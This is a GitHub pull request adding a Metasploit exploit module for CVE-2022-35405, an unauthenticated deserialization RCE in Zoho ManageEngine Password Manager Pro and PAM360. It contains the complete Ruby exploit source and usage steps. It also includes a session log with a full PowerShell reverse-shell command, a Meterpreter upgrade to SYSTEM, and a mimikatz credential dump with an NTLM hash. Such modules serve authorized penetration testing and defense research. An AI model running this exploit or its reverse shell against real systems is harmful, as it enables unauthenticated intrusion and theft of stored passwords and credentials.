Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add CVE-2022-35405 Zoho Password Manager Pro XML-RPC Unauthenticated RCE #16852

Merged
merged 3 commits into from
Aug 2, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,185 @@
## Vulnerable Application
This module exploits a unauthenticated deserialization vulnerability in the XML RPC interface exposed by Zoho
ManageEngine Password Manager Pro before 12101 and PAM360 before 5510. Note that ManageEngine Access Manager Plus
before 4303 is also affected provided one provides credentials, however this is not targeted by this exploit.

Successful exploitation results in unauthenticated RCE as the `NT AUTHORITY\SYSTEM` user.

### Installation
Vulnerable software for testing can be downloaded [here](https://archives2.manageengine.com/passwordmanagerpro/12100/ManageEngine_PMP_64bit.exe).
The patch can be downloaded from [here](https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm)

When installing the software follow the defaults. You can skip the registration however or any parts where you need
to fill in additional details to continue (these should have a `Skip` button so you can skip them).

## Verification Steps
1. Follow the installation instructions above.
2. Start msfconsole
3. Do: `use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce`
4. Do: `set RHOSTS [IP]`
7. Do: `set payload [payload]`
8. Do: `set LHOST [IP]`
9. Optional: `set LPORT [local port to listen on]`
10. Do: `exploit`

## Options

## Targets
```
Id Name
-- ----
0 Windows EXE Dropper
1 Windows Command
2 Windows Powershell
```

## Scenarios
### ManageEngine Password Manager Pro 12100 Running on Windows 11
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
[*] Using configured payload cmd/windows/reverse_powershell
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set RHOSTS 172.17.245.94
RHOSTS => 172.17.245.94
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LHOST 172.17.255.112
LHOST => 172.17.255.112
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LPORT 8899
LPORT => 8899
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > show options

Module options (exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.17.245.94 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metas
ploit
RPORT 7272 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local
machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host


Payload options (cmd/windows/reverse_powershell):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.17.255.112 yes The listen address (an interface may be specified)
LPORT 8899 yes The listen port


Exploit target:

Id Name
-- ----
1 Windows Command


msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > exploit

[*] Started reverse TCP handler on 172.17.255.112:8899
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Target can deserialize arbitrary data.
[*] Executing Windows Command for cmd/windows/reverse_powershell
[+] Successfully executed command: powershell -w hidden -nop -c $a='172.17.255.112';$b=8899;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) { start-sleep -m 100; if ($osread.IsCompleted -and $osread.Result -ne 0) { $r=$os.BaseStream.EndRead($osread); $s.Write($ob,0,$r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,$r); $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); } if ($s.DataAvailable) { $r=$s.Read($nb,0,$nb.Length); if ($r -lt 1) { break; } else { $str=$e.GetString($nb,0,$r); $is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { break; }}
[*] Command shell session 1 opened (172.17.255.112:8899 -> 172.17.245.94:56612) at 2022-08-02 11:37:28 -0500


Shell Banner:
Microsoft Windows [Version 10.0.22000.795]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\ManageEngine\PMP\bin>
-----


C:\Program Files\ManageEngine\PMP\bin>whoami
whoami
nt authority\system

C:\Program Files\ManageEngine\PMP\bin>background

Background session 1? [y/N] y
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10.0.2 172.17.255.112:8899 -> 172.17.245.94:56612 (172.
2000.795] (c) Microsoft Corpo... 17.245.94)

msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.17.255.112:4433
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) >
[*] Sending stage (200774 bytes) to 172.17.245.94
[*] Meterpreter session 2 opened (172.17.255.112:4433 -> 172.17.245.94:56631) at 2022-08-02 11:38:11 -0500
[*] Stopping exploit/multi/handler

msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10. 172.17.255.112:8899 -> 172.17.245.94:56612 (1
0.22000.795] (c) Microsoft Corpo... 72.17.245.94)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN11-TEST 172.17.255.112:4433 -> 172.17.245.94:56631 (1
72.17.245.94)

msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username Domain NTLM SHA1
-------- ------ ---- ----
admin WIN11-TEST 209c6174da490caeb422f3fa5a7ae634 7c87541fd3f3ef5016e12d411900c87a6046a8e8

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
WIN11-TEST$ WORKGROUP (null)
admin WIN11-TEST (null)

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
admin WIN11-TEST (null)
win11-test$ WORKGROUP (null)


meterpreter >
```
159 changes: 159 additions & 0 deletions modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,159 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::JavaDeserialization

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zoho Password Manager Pro XML-RPC Java Deserialization',
'Description' => %q{
This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro
before 12101 and PAM360 before 5510. Unauthenticated attackers can send a
crafted XML-RPC request containing malicious serialized data to /xmlrpc to
gain RCE as the SYSTEM user.
},
'Author' => [
'Vinicius', # Discovery
'Y4er', # Writeup
'Grant Willcox' # Exploit
],
'References' => [
['CVE', '2022-35405'],
['URL', 'https://xz.aliyun.com/t/11578'], # Writeup
['URL', 'https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html'], # Advisory
['URL', 'https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm'] # The patch.
],
'DisclosureDate' => '2022-06-24', # Vendor release date of patch and new installer, as advisory lacks any date.
'License' => MSF_LICENSE,
'Platform' => ['win'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => true,
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
'Targets' => [
[
'Windows EXE Dropper',
{
'Arch' => ARCH_X64,
'Type' => :windows_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'Space' => 3000,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
}
],
[
'Windows Powershell',
{
'Arch' => ARCH_X64,
'Type' => :windows_powershell,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(7272),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
# Send an empty serialized object
res = send_request_xmlrpc('')

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

if res.body.include?('Failed to read result object: null')
return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
end

CheckCode::Safe('Target cannot deserialize arbitrary data.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :windows_command
execute_command(payload.encoded)
when :windows_dropper
cmd_target = targets.select { |target| target['Type'] == :windows_command }.first
execute_cmdstager({ linemax: cmd_target.opts['Space'] })
when :windows_powershell
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

res = send_request_xmlrpc(
generate_java_deserialization_for_command('CommonsBeanutils1', 'cmd', cmd)
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
end

print_good("Successfully executed command: #{cmd}")
end

def send_request_xmlrpc(data)
# http://xmlrpc.com/
# https://ws.apache.org/xmlrpc/
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/xmlrpc'),
'ctype' => 'text/xml',
'data' => <<~XML
<?xml version="1.0"?>
<methodCall>
<methodName>#{rand_text_alphanumeric(8..42)}</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>#{rand_text_alphanumeric(8..42)}</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
XML
)
end

end